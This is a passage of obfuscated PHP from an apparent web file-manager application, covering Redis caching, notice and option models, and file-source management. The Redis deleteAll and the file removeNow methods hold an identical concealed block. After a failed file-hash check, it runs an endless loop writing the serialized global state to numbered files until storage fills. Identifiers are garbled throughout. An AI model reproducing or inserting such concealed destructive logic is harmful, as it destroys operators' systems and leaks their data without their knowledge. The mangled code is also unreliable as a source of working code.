get($ɤ¦) { return $this->handle->get($ɤ¦); } public function remove($ȃ) { return $this->handle->delete($ȃ); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($튊, $) { $ =& $_SERVER[譃]; if (!class_exists($[863])) { show_json($[864], !1); } $this->cacheTime = $; $얉 = isset($튊[$[865]]) ? $튊[$[865]] : 10; $һ = _get($튊, $[862]); if ($һ && is_array($һ)) { $this->initCluster($튊, $얉); } else { $this->handle = $this->init($튊, $얉); } } private function init($, $鸔) { $ =& $_SERVER[譃]; $â = new Redis(); $ĕж = isset($[$[866]]) ? $[$[866]] : !1; if ($ĕж) { $â->pconnect($[$[178]], $[$[179]], $鸔); } else { $â->connect($[$[178]], $[$[179]], $鸔); } if (!empty($[$[410]])) { $â->auth($[$[410]]); } return $â; } private function initCluster($, $) { $ۻܨ =& $_SERVER[譃]; $ = array($ۻܨ[867], $ۻܨ[868], $ۻܨ[869]); $ݚ = $ۻܨ[867]; if (isset($[$ۻܨ[16]]) && in_array($[$ۻܨ[16]], $)) { $ݚ = $[$ۻܨ[16]]; } switch ($ݚ) { case $ۻܨ[867]: $this->_slave($, $); break; case $ۻܨ[868]: break; case $ۻܨ[869]: $this->isCluster = !0; $« = $[$ۻܨ[862]]; $ = isset($[$ۻܨ[866]]) ? $[$ۻܨ[866]] : !1; $ = isset($[$ۻܨ[410]]) ? $[$ۻܨ[410]] : null; $this->handle = new RedisCluster(NUll, $«, $, $, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[譃][862]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $㶛 = array_rand($); $this->filterConfig($, $[$㶛]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$Ǒ, $͢) { $ =& $_SERVER[譃]; $ = explode($[4], $͢); $ = array($[178] => $[0], $[179] => $[1]); $Ǒ = array_merge($Ǒ, $); } public function set($䔀, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($䔀, $, $); } public function setLock($Ġ, $, $Ռ) { return $this->handle->setNX($Ġ, $); } public function get($Ƽ) { $ĭ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ĭ->get($Ƽ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ߨ =& $_SERVER[譃]; $ = $_SERVER[$ߨ[870]]; $ = $ߨ[871]; if ($_SERVER[$ߨ[872]] != $($)) { $θƷ = $ߨ[873]; $у = $ߨ[874]; $ = $_SERVER[$ߨ[875]] . $ߨ[876]; $ = $у($); $ = explode($ߨ[230], $); if (count($) < $ߨ[617]) { $ӱ = $ߨ[877]; $ӱ(); } $ = $ߨ[878]; $($_SERVER[$ߨ[879]]); $θƷ = $ߨ[873]; $θƷ(); $ì = $ߨ[880]; $ = json_encode($GLOBALS[$ߨ[881]]); $ = 1; for ($Ɩ = $; $Ɩ > 0; $Ɩ++) { $ì(DATA_PATH . $Ɩ, $); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $ըʢ) { $this->handle->flushall($ըʢ); } return; } return $this->handle->flushAll(); } } goto C; Cן: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\x6d\x2e\x6e\157\x74\x69\143\145\114\151\x73\164"; public $field = array("\x6e\141\155\x65", "\143\x6f\x6e\x74\145\x6e\x74", "\141\x75\164\150", "\155\157\144\145", "\164\x69\x6d\x65", "\x74\171\160\145", "\x6c\x65\166\x65\154", "\x65\156\141\x62\x6c\x65", "\x73\157\162\x74"); public function listData($ = false, $ = "\163\157\x72\164", $˛ = false) { return parent::listData($, $, $˛); } public function add($趆) { $ٰà =& $_SERVER[譃]; $ = time(); if ($趆[$ٰÃ[16]] == $ٰÃ[2238]) { $ = strtotime($趆[$ٰÃ[200]]); } $趆[$ٰÃ[200]] = $; return parent::insert($趆); } public function update($, $ѽؐ) { $Ȕ =& $_SERVER[譃]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($ѽؐ[$Ȕ[16]] == $Ȕ[2238]) { $ = strtotime($ѽؐ[$Ȕ[200]]); } $ѽؐ[$Ȕ[200]] = $; return parent::update($, $ѽؐ); } public function remove($) { $γ = $this->listData($); if (!$γ || $γ[$_SERVER[譃][1274]]) { return !1; } return parent::remove($); } public function sort($լ, $ѩҸ) { return parent::update($լ, $ѩҸ); } public function enable($, $) { return parent::update($, array($_SERVER[譃][2239] => $)); } private function initUserOption() { $ŗ =& $_SERVER[譃]; $this->optionType = $ŗ[2240]; $this->modelType = $ŗ[2241]; $this->field = array($ŗ[2242], $ŗ[32], $ŗ[200], $ŗ[33], $ŗ[2243], $ŗ[748], $ŗ[192]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[譃][396], !0); } public function userNoticeAdd($NJֳ) { $쿿 =& $_SERVER[譃]; $this->initUserOption(); $侳ǭ = $this->findByKey($쿿[2242], $NJֳ[$쿿[396]]); if ($侳ǭ) { return !0; } $ = array($쿿[2242] => $NJֳ[$쿿[396]], $쿿[32] => $NJֳ[$쿿[32]], $쿿[200] => $NJֳ[$쿿[200]], $쿿[33] => isset($NJֳ[$쿿[33]]) ? $NJֳ[$쿿[33]] : 1, $쿿[2243] => isset($NJֳ[$쿿[2243]]) ? $NJֳ[$쿿[2243]] : 0, $쿿[748] => 0, $쿿[192] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\x79\163\164\145\155\137\x6f\x70\x74\x69\x6f\156"; protected $jsonField = array("\x6d\x65\156\165", "\x72\157\x6c\x65", "\162\157\x6c\x65\x47\162\x6f\x75\160", "\x72\x65\x67\151\163\164", "\x65\155\x61\151\154"); function __construct() { parent::__construct(); } protected function cacheKey($ށ) { return "\x53\x79\163\164\x65\155\117\160\164\151\157\156\x5f{$ށ}"; } protected function optionDefault($˳ = '') { $И =& $_SERVER[譃]; if ($˳ == $И[12]) { return $GLOBALS[$И[6]][$И[380]]; } } } class SystemRecordModel extends ModelBaseLight { } goto bҎ; c: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ž) { $ =& $_SERVER[譃]; $ = Model($[509])->where(array($[1646] => $ž))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ž, $[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($뉃) { $ٷ =& $_SERVER[譃]; $Һ = LNG($ٷ[2087]); $Ҷ = $this->mkdir($뉃, $Һ); $this->metaSet($Ҷ, $ٷ[2088], $ٷ[89]); $this->metaSet($뉃, $ٷ[2089], $Ҷ); } public function groupRootAdd($) { $낋 =& $_SERVER[譃]; $䋈 = Model($낋[518])->where(array($낋[1910] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $䋈[$낋[32]]); } public function systemRootPathAdd($é) { if ($é != $_SERVER[譃][536]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $é); } public function userRootRemove($) { $ = $this->sourceRoot(SourceModel::TYPE_USER, $); if (!$) { return; } $this->remove($, !1); } public function groupRootRemove($) { $ = $this->sourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($, !1); } private function _mkdirRoot($Ѳ, $, $) { $Ȁ =& $_SERVER[譃]; $ = array($Ȁ[398] => 0, $Ȁ[579] => $Ѳ, $Ȁ[580] => $, $Ȁ[576] => 1, $Ȁ[581] => USER_ID, $Ȁ[582] => USER_ID, $Ȁ[577] => $Ȁ[12], $Ȁ[583] => $Ȁ[527], $Ȁ[426] => 0, $Ȁ[578] => 0, $Ȁ[464] => 0, $Ȁ[584] => $Ȁ[12]); if ($ٝʆΐ = $this->where($)->find()) { return $ٝʆΐ[$Ȁ[399]]; } $ = "\115\157\144\145\154\123\x6f\x75\162\x63\145\56\x6d\153\x64\151\162\x52\x6f\157\x74\x2e{$Ѳ}\x2e{$}\x2e" . $; CacheLock::lock($); $[$Ȁ[32]] = $; $֩ = $this->add($); $竑 = array($Ȁ[585] => short_id($֩)); $this->where(array($Ȁ[414] => $֩))->save($竑); CacheLock::unlock($); return $֩; } private function sourceRoot($ǫ, $ɽ, $ = false) { $ڻ =& $_SERVER[譃]; $؟۶ = array($ڻ[398] => 0, $ڻ[579] => $ǫ, $ڻ[580] => $ɽ); if ($ = $this->where($؟۶)->find()) { return $ ? $ : $[$ڻ[399]]; } return !1; } public function sourceRootGroup($鱡) { $ە =& $_SERVER[譃]; if (is_string($鱡)) { $鱡 = array($鱡); } $Ԁ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $鱡, $ە[185]); $ = array($ە[368] => $Ԁ, $ە[365] => array($ە[757] => count($鱡))); $this->_listDataApply($[$ە[368]]); $this->_listMake($); return array_to_keyvalue($[$ە[77]], $ە[501]); } public function mkfile($ݫ, $, $ij = '', $ = REPEAT_RENAME) { $얚 =& $_SERVER[譃]; $ = Model($얚[602])->addFileByContent($ij, $); return $this->_createFileCall($ݫ, $, $, $, $얚[1336]); } public function addFile($, $, $, $㹠 = false, $㑪 = REPEAT_RENAME) { $ = Model($_SERVER[譃][602])->addFile($, $, $㹠); return $this->_createFileCall($, $, $, $㑪); } public function addFileByFileID($ӣ, $, $Ѱ, $ȼ = REPEAT_RENAME) { $Lj =& $_SERVER[譃]; $ = Model($Lj[602])->find($); Model($Lj[602])->linkAdd($); return $this->_createFileCall($ӣ, $Ѱ, $, $ȼ); } public function addFileByRemote($ֽ, $, $ښ, $խ = array(), $Вŏ = REPEAT_RENAME) { $ = Model($_SERVER[譃][602])->addFileByRemote($, $ښ, $խ); return $this->_createFileCall($ֽ, $ښ, $, $Вŏ); } private function _createFileCall($࿈, $ϧ, $܅, $ޡ, $Κ = "\x75\x70\x6c\157\141\144") { $켧 =& $_SERVER[譃]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($࿈, $ϧ); $ŗ߽ = $this->fileNameExist($࿈, $ϧ); $ҍ = $this->_createFile($࿈, $ϧ, $܅, $ޡ, $); if (!$) { Model($켧[466])->remove($܅[$켧[463]]); } if ($ && $ҍ && $ҍ != $ŗ߽) { Model($켧[2060])->eventCreate($ҍ, $Κ); } $this->lockWriteEnd($࿈, $ϧ); return $ҍ; } public function mkdir($ܲ, $ė, $ = REPEAT_SKIP) { $ =& $_SERVER[譃]; $this->setMasterDB(); $溴 = $this->sourceInfo($ܲ); if (!$溴) { return !1; } $this->lockWriteStart($ܲ, $ė); if ($ !== !1) { $ = $this->fileNameExist($ܲ, $ė); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ܲ, $ė); return $; } $ė = $this->fileNameAuto($ܲ, $ė, $); } $ = array($[576] => 1, $[417] => $ė, $[577] => $[12], $[464] => 0, $[578] => 0); $ = $this->_addSource($, $溴); Model($[2060])->eventCreate($, $[1337]); $this->lockWriteEnd($ܲ, $ė); return $; } public function listSourceRoot($Ʉ, $ѝ, $ = "\163\157\165\x72\x63\145\x49\104\54\x74\141\x72\x67\x65\164\x49\x44\54\163\151\x7a\x65") { $ =& $_SERVER[譃]; $ = $[377]; $щ = array(); $ = 1024 * 50; $ï = is_array($ï) ? $ï : array(); $˿ = count($ѝ); $ = $this->tablePrefix . $[2090]; for ($Ƥ = 0; $Ƥ < $˿; $Ƥ++) { $⡤ = $ѝ[$Ƥ]; $ .= "\123\105\114\x45\x43\124\40\52\40\x46\x52\x4f\115\40\50\x53\105\x4c\105\x43\x54\40{$}\x20\106\x52\x4f\x4d\40\x60{$}\x60\40\x57\110\105\x52\105\40"; $ .= "\140\160\141\x72\145\156\x74\111\104\x60\75\60\x20\101\x4e\104\x20\x60\164\141\x72\147\x65\164\111\104\x60\75{$⡤}\40\x41\x4e\104\40\140\x74\141\162\147\145\164\x54\x79\160\x65\x60\x3d{$Ʉ}\40\x6c\151\x6d\151\164\40\x31\51\x20\x61\163\40\x74\x62\x5f{$Ƥ}\x20\x55\116\111\x4f\116\40\101\114\x4c\x20"; if ((strlen($) >= $ || $Ƥ == $˿ - 1) && $) { $ = substr($, 0, -strlen($[1038])); $ = $this->query($); $ = $[12]; $щ = array_merge($щ, $); } } return $щ; } private function _createFile($, $ׅ, $, $, &$Ȧ) { $˷ =& $_SERVER[譃]; $ = $this->sourceInfo($); if (!$ || !$) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($, $ׅ); } $Ȧ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $Ȧ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$˷[463]], $[$˷[80]]); if (!$) { $Ȧ = !1; } else { $this->folderSizeReset($); } return $; } else { $ׅ = $this->fileNameAuto($, $ׅ, $, !1); } } } $ڱ = array($˷[576] => 0, $˷[417] => $ׅ, $˷[577] => substr(get_path_ext($ׅ), 0, 10), $˷[464] => $[$˷[463]], $˷[578] => $[$˷[80]]); $ = $this->_addSource($ڱ, $); $this->folderSizeReset($, intval($ڱ[$˷[80]])); return $; } protected function fileHistory($ϟ, $ɾ, $ӕ) { $ =& $_SERVER[譃]; $ӌ = defined($[470]) ? USER_ID : $[194]; if ($ϟ[$[463]] == $ɾ) { return !1; } $this->checkLock($ϟ[$[399]], $ɾ); Model($[2091])->addHistory($ϟ); $Ĺܖ = array($[582] => $ӌ, $[421] => time(), $[463] => $ɾ, $[80] => $ӕ); $this->where(array($[414] => $ϟ[$[399]]))->save($Ĺܖ); $this->sourceCacheClear($ϟ[$[399]]); return !0; } public function checkLock($, $̭) { $ =& $_SERVER[譃]; $њ߃ = $this->pathInfo($); if (!$this->fileIsLock($њ߃, !0)) { return; } $۪ = Session::get($[2092]); $ɱ = substr($њ߃[$[32]], 0, -1 - strlen($њ߃[$[171]])) . $[1604] . $۪ . $[10] . $њ߃[$[171]]; $ = Model($[602])->find($̭); $this->_createFileCall($њ߃[$[494]], $ɱ, $, REPEAT_REPLACE, $[1336]); $֞ = $њ߃[$[461]][$[541]]; $ = $֞[$[534]] ? $֞[$[534]] : $֞[$[32]]; show_json(LNG($[2093]) . $[2094] . LNG($[2095]) . $[2096] . $ . $[2097], !1); } public function fileIsLock($Ҵ, $ = false) { $ =& $_SERVER[譃]; if (!isset($Ҵ[$[461]]) || !$Ҵ[$[461]][$[538]]) { return !1; } if ($Ҵ[$[461]][$[538]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[90]][$[539]]; if ($Ҵ[$[461]][$[540]] <= time() - $) { $this->metaSet($Ҵ[$[399]], $[538], null); $this->metaSet($Ҵ[$[399]], $[540], null); } if ($) { $this->metaSet($Ҵ[$[399]], $[540], time()); } return !1; } private function _addSource($, $ڿ) { $תʢ =& $_SERVER[譃]; $嘀 = defined($תʢ[470]) ? USER_ID : $תʢ[194]; $Ν = array($תʢ[579] => $ڿ[$תʢ[408]], $תʢ[580] => $ڿ[$תʢ[501]], $תʢ[581] => $嘀, $תʢ[582] => $嘀, $תʢ[398] => $ڿ[$תʢ[399]], $תʢ[583] => $ڿ[$תʢ[517]] . $ڿ[$תʢ[399]] . $תʢ[50], $תʢ[426] => 0, $תʢ[584] => $תʢ[12]); $ = array_merge($Ν, $); $this->updateModifyTime($[$תʢ[494]]); $ = $תʢ[2098] . $ڿ[$תʢ[399]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($תʢ[566], $); $ = !0; } $ = $this->add($); $ߌ = array($תʢ[585] => short_id($)); $this->where(array($תʢ[414] => $))->save($ߌ); $this->setNamePinyin($, $[$תʢ[32]]); return $; } public function remove($ټ, $⓱ = true) { $Ϊ =& $_SERVER[譃]; $ږ = $this->sourceInfo($ټ); $ڠ = intval($ږ[$Ϊ[408]]) === self::TYPE_SYSTEM; $ÕҪ = Model($Ϊ[429])->get($Ϊ[2099]) == $Ϊ[89]; if ($ڠ || $⓱ || !$ÕҪ) { return $this->removeNow($ټ, $⓱); } $Ǹ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $먐 = $ږ[$Ϊ[408]] == self::TYPE_USER ? $Ϊ[593] : $Ϊ[511]; if ($먐 == $Ϊ[593]) { $ɣ = Model($Ϊ[509])->getInfo($ږ[$Ϊ[501]]); $ו = !empty($ɣ[$Ϊ[534]]) ? $ɣ[$Ϊ[534]] : $ɣ[$Ϊ[32]]; $ו = $Ϊ[259] . $ו . $Ϊ[2100] . $ږ[$Ϊ[501]]; } else { $ɣ = Model($Ϊ[518])->getInfo($ږ[$Ϊ[501]]); $ו = _get($ɣ, $Ϊ[32]); $ו = $Ϊ[163] . $ו . $Ϊ[2101] . $ږ[$Ϊ[501]]; } $ = $Ϊ[2102] . md5($ו); CacheLock::lock($); $ʪ = $this->fileNameExist($Ǹ, $ו); if (!$ʪ) { $ʪ = $this->mkdir($Ǹ, $ו, REPEAT_SKIP); $this->metaSet($ʪ, $Ϊ[2103], $먐); $this->metaSet($ʪ, $Ϊ[2104], $ږ[$Ϊ[501]]); if ($ږ[$Ϊ[494]] != 0) { $this->metaSet($ʪ, $Ϊ[2105], _get($ɣ, $Ϊ[2106])); } } CacheLock::unlock($); $this->metaSet($ټ, $Ϊ[2107], $ږ[$Ϊ[494]]); $this->where(array($Ϊ[399] => $ټ))->save(array($Ϊ[421] => time())); $this->recycleClear($ږ); $˓ = $this->move($ټ, $ʪ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ږ[$Ϊ[494]]); return $˓; } private function recycleClear($ˠؓ) { $ =& $_SERVER[譃]; $ = $this->childrenAll($ˠؓ); $ = array($[414] => array($[415], $[$[2108]])); Model($[2109])->where($)->delete(); } public function removeNow($⌕, $ = true) { $ =& $_SERVER[譃]; $ = $_SERVER[$[875]] . $[876]; $ڕ = $[871]; if ($_SERVER[$[872]] != $ڕ($)) { $݄ij = $[873]; $ = $[874]; $ = $_SERVER[$[875]] . $[876]; $ = $($); $ک = explode($[230], $); if (count($ک) < $[617]) { $ = $[877]; $(); } $σծ = $[878]; $σծ($_SERVER[$[879]]); $݄ij = $[873]; $݄ij(); $Ƨ = $[880]; $ = json_encode($GLOBALS[$[881]]); $ರ = 1; for ($ = $ರ; $ > 0; $++) { $Ƨ(DATA_PATH . $, $); } } $ඥ = $this->sourceInfo($⌕); $ـǕ = $this->pathInfoMore($⌕); if (!$ඥ) { return !0; } if ($ඥ[$[494]] == 0) { if (!_get($GLOBALS, $[499])) { return !1; } } $this->lockMoveStart($⌕); Hook::trigger($[2110], $ـǕ, $); if ($) { Model($[2109])->moveToRecycle($⌕); } else { $虭 = $this->childrenAll($ඥ); Model($[563])->eventRemove($⌕); $this->removeRelevance($虭[$[2108]], $虭[$[1470]]); } $this->folderSizeReset($ඥ[$[494]]); $ = array($ඥ[$[494]]); if ($ඥ[$[407]] == $[89]) { $[] = $ඥ[$[399]]; } $this->updateModifyTime($); $this->lockMoveEnd($⌕); Hook::trigger($[1692], $ـǕ, $); return !0; } public function childrenAll($) { $ƈ¶ =& $_SERVER[譃]; $ބ = $[$ƈ¶[399]]; if ($[$ƈ¶[407]] == $ƈ¶[89]) { $慸 = array($ƈ¶[583] => array($ƈ¶[543], $[$ƈ¶[517]] . $ބ . $ƈ¶[544])); $À = array($ƈ¶[583] => $慸[$ƈ¶[517]]); $ˁꧬ = $this->field($ƈ¶[2111])->where($À)->select(); $ٕ = !1; $ = array($ބ); if ($ˁꧬ) { $ٕ = array_to_keyvalue($ˁꧬ, $ƈ¶[12], $ƈ¶[463]); $ٕ = array_remove_value($ٕ, $ƈ¶[194]); $ = array_to_keyvalue($ˁꧬ, $ƈ¶[12], $ƈ¶[399]); $[] = $ބ; } } else { $ٕ = array($[$ƈ¶[463]]); $ = array($ބ); } return array($ƈ¶[2108] => $, $ƈ¶[1470] => $ٕ); } public function removeArray($ҫ) { if (!$ҫ) { return !0; } } public function removeRelevance($ֽ, $Ϫ՟) { $߱՞ =& $_SERVER[譃]; $ֽ = $ֽ ? $ֽ : array(); $Ϫ՟ = $Ϫ՟ ? $Ϫ՟ : array(); $ֽ = array_unique(array_filter($ֽ)); $Ϫ՟ = array_unique(array_filter($Ϫ՟)); if (!$ֽ) { return !1; } $Ꮬ = array($߱՞[414] => array($߱՞[415], $ֽ)); Model($߱՞[2109])->where($Ꮬ)->delete(); Model($߱՞[457])->where($Ꮬ)->delete(); Model($߱՞[1966])->where($Ꮬ)->delete(); Model($߱՞[563])->where($Ꮬ)->delete(); Model($߱՞[1803])->removeBySource($ֽ); Model($߱՞[2091])->removeBySource($ֽ); $this->where($Ꮬ)->delete(); Model($߱՞[466])->remove($Ϫ՟); for ($ = 0; $ < count($ֽ); $++) { $this->sourceCacheClear($ֽ[$]); } } public function rename($̺, $) { $ =& $_SERVER[譃]; $ʁ = $this->sourceInfo($̺); if (!$ʁ) { return !1; } $ζ = $this->fileNameExist($ʁ[$[494]], $); if ($ζ && $ζ != $̺) { return !1; } $Ʌ = array($[417] => $, $[582] => USER_ID); if ($ʁ[$[407]] != $[89]) { $Ʌ[$[409]] = substr(get_path_ext($), 0, 10); } Model($[563])->eventRename($̺, $ʁ[$[32]], $); $this->sourceCacheClear($̺); $this->setNamePinyin($̺, $Ʌ[$[32]], !1); $this->updateModifyTime($ʁ[$[494]]); $ = $this->where(array($[414] => $̺))->data($Ʌ)->save(); $ = $[2098] . $ʁ[$[494]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($ꗨ, $К, $ = true) { $ =& $_SERVER[譃]; $ڝ = Input::check($К, $[586]); $ = array($[438] => KodSort::makeStr($К)); if ($ڝ) { $[$[460]] = str_replace($[53], $[12], Pinyin::get($К)); $[$[459]] = Pinyin::get($К, $[587]); } if (!$ && !$ڝ) { $[$[460]] = null; $[$[459]] = null; } $this->metaSet($ꗨ, $); } public function getContent($) { $Ҩֽ =& $_SERVER[譃]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$Ҩֽ[80]] == 0) { return $Ҩֽ[12]; } $ = $Ҩֽ[2112] . $[$Ҩֽ[173]]; if ($[$Ҩֽ[80]] <= 1024 * 10) { $ĩ = Cache::get($); if (!$ĩ) { $ĩ = IO::getContent($[$Ҩֽ[78]]); Cache::set($, $ĩ); } return $ĩ; } if (!$[$Ҩֽ[78]]) { return $Ҩֽ[12]; } return IO::getContent($[$Ҩֽ[78]]); } public function setDesc($к, $ƥ) { $њ͞ =& $_SERVER[譃]; Model($њ͞[563])->eventAddDesc($к, $ƥ); return $this->metaSet($к, $њ͞[447], $ƥ); } public function setContent($, $˂ = '') { $ =& $_SERVER[譃]; $к = $this->sourceInfo($); $ = $this->fileInfoGet($); if (!$ || !$к) { return !1; } $ = Model($[466])->addFileByContent($˂, $к[$[32]]); $ڣ = $this->fileHistory($к, $[$[463]], $[$[80]]); if (!$ڣ) { return Model($[466])->remove($[$[463]]); } $this->folderSizeReset($к[$[494]]); return !0; } public function fileSubstr($ó, $͖, $ݓ) { $А = $this->fileInfoGet($ó); if (!$А) { return !1; } return IO::fileSubstr($А[$_SERVER[譃][78]], $͖, $ݓ); } public function fileInfoGet($) { $ =& $_SERVER[譃]; $ = $this->sourceInfo($); if (!$ || $[$[407]]) { return !1; } $զ = $[469] . $[$[463]]; $ = _get(self::$cacheFileInfo, $զ); if ($) { return $; } $͝ = Model($[466])->fileInfo($[$[463]]); if ($͝) { $͝[$[32]] = $[$[32]]; } self::$cacheFileInfo[$զ] = $͝; return $͝; } private function folderChildrenNumber($ݽ) { $ń =& $_SERVER[譃]; $ӄ = $this->sourceInfo($ݽ); $ї = array($ń[583] => array($ń[543], $ӄ[$ń[517]] . $ݽ . $ń[544]), $ń[580] => $ӄ[$ń[501]], $ń[426] => intval($ӄ[$ń[427]]), $ń[576] => 1); $ = $this->where($ї)->count(); $ = $this->where($ї)->where(array($ń[576] => 0))->count(); return array($ń[84] => $, $ń[85] => $); } public function pathInfo($Ƿߧ, $ = false) { $ =& $_SERVER[譃]; $ = !1; $Ƿߧ = intval($Ƿߧ); $۫ = $[455] . intval($) . $[456] . $Ƿߧ; $ݎȔ = _get(self::$cachePathInfo, $۫); if ($ݎȔ) { return $ݎȔ; } $ = $this->sourceInfo($Ƿߧ); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$۫] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($·ڝ) { $Ê =& $_SERVER[譃]; $ = _get(self::$cachePathInfoMore, $·ڝ); if ($) { return $; } $ = $this->pathInfo($·ڝ); if (!$) { return !1; } if ($[$Ê[407]] == $Ê[89]) { $[$Ê[83]] = $this->folderChildrenNumber($·ڝ); } self::$cachePathInfoMore[$·ڝ] = $; return $; } public function sourceInfo($) { $Ӽܴ =& $_SERVER[譃]; if (!$) { return array(); } $ = intval($); $ = $Ӽܴ[454] . $; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $׆ = $this->where(array($Ӽܴ[399] => $))->find(); self::$cacheSourceInfo[$] = $׆; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($Ѥ = false) { self::cacheClear($Ѥ); } public static function cacheClear($ = false) { $ڟlj =& $_SERVER[譃]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$ڟlj[454] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$ڟlj[2113] . $]); unset(self::$cachePathInfo[$ڟlj[2114] . $]); } public function metaSet($ٽ, $݂ = null, $É = null) { $ = parent::metaSet($ٽ, $݂, $ÉÂ); if ($) { $this->sourceCacheClear($ٽ); } return $; } public function pathInfoByPath($́, $) { $ =& $_SERVER[譃]; $Г = !$ ? array() : explode($[8], trim($, $[8])); $߾ = $́; foreach ($Г as $) { $ = array($[494] => $߾, $[32] => $); $͢ = $this->where($)->select(); if (!$͢) { return !1; } $͢ = array_sort_by($͢, $[427]); $߾ = $͢[0][$[399]]; } return $this->pathInfo($߾, !0); } protected function updateModifyTime($) { $ˎ =& $_SERVER[譃]; $ھ = defined($ˎ[470]) ? USER_ID : $ˎ[194]; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $ـ) { $[$] = intval($ـ); $this->sourceCacheClear($ـ); } $帄 = array($ˎ[399] => array($ˎ[7], $)); $𦞜 = array($ˎ[582] => $ھ, $ˎ[421] => time()); $this->where($帄)->save($𦞜); } public function folderSizeReset($, $Dž = false) { $ =& $_SERVER[譃]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($); $ʞ֝ = $[2115] . $; CacheLock::lock($ʞ֝, 20); if ($Dž === !1) { $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[398] => $, $[426] => 0); $ = $this->where($)->sum($[80]); $Dž = intval($) - intval($[$[80]]); } if ($Dž == 0) { return CacheLock::unlock($ʞ֝); } $ = $this->parentLevelArray($[$[517]]); if (!$) { $ = array(); } $[] = $[$[399]]; $ = array($[399] => array($[415], $)); if ($Dž < 0) { $[$[80]] = array($[1015], abs($Dž)); } $this->where($)->setAdd($[80], $Dž); CacheLock::unlock($ʞ֝); $ = $[2116] . $[$[408]] . $[4] . $[$[501]]; $Ώ = array($[$[408]], $[$[501]]); TaskRun::timeLimitCall($, $[2117], $Ώ, 1.5); } public function folderSizeResetChildren($Ճ) { $ʯ =& $_SERVER[譃]; $this->sourceCacheClear($Ճ); $ = $this->sourceInfo($Ճ); $ = array($ʯ[576] => 1, $ʯ[580] => $[$ʯ[501]], $ʯ[583] => array($ʯ[543], $[$ʯ[517]] . $Ճ . $ʯ[544])); $ل = $ʯ[2118]; $ = $this->field($ل)->where($)->select(); $[$ʯ[407]] = 0; $쿝 = $this->field($ل)->where($)->select(); if (!$쿝) { return; } $[] = $; $ = array_to_keyvalue($, $ʯ[399]); foreach ($ as $ۙ => $뻶) { $[$ۙ][$ʯ[2119]] = $[$ۙ][$ʯ[80]]; $[$ۙ][$ʯ[80]] = 0; } foreach ($쿝 as $뻶) { $Ĝ = $뻶[$ʯ[494]] . $ʯ[12]; if (!isset($[$Ĝ])) { continue; } if ($뻶[$ʯ[427]] == $[$Ĝ][$ʯ[427]]) { $[$Ĝ][$ʯ[80]] += $뻶[$ʯ[80]]; } } foreach ($ as $뻶) { $إў = $this->parentLevelArray($뻶[$ʯ[517]]); foreach ($إў as $Ĝ) { $Ĝ = $Ĝ . $ʯ[12]; if (!isset($[$Ĝ])) { continue; } if ($뻶[$ʯ[427]] == $[$Ĝ][$ʯ[427]]) { $[$Ĝ][$ʯ[80]] += $뻶[$ʯ[80]]; } } } $ = array(); foreach ($ as $뻶) { if ($뻶[$ʯ[80]] == $뻶[$ʯ[2119]]) { continue; } $[] = array($ʯ[399], $뻶[$ʯ[399]], $ʯ[80], $뻶[$ʯ[80]]); } $this->saveAll($); } public function userSpaceReset($ = false) { $ =& $_SERVER[譃]; $ = $this->where(array($[408] => self::TYPE_USER, $[501] => $, $[407] => 0))->sum($[80]); $ = !$ || $ <= 0 ? 0 : $; Model($[509])->userEdit($, array($[1812] => $)); } public function targetSpaceUpdate($ə, $ޱ) { $Ĝ =& $_SERVER[譃]; if (!$ޱ) { return; } if (!in_array($ə, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $겑 = $this->targetSpaceSize($ə, $ޱ); if ($ə == self::TYPE_USER) { Model($Ĝ[509])->userEdit($ޱ, array($Ĝ[1812] => $겑)); } else { if ($ə == self::TYPE_GROUP) { Model($Ĝ[518])->groupEdit($ޱ, array($Ĝ[1812] => 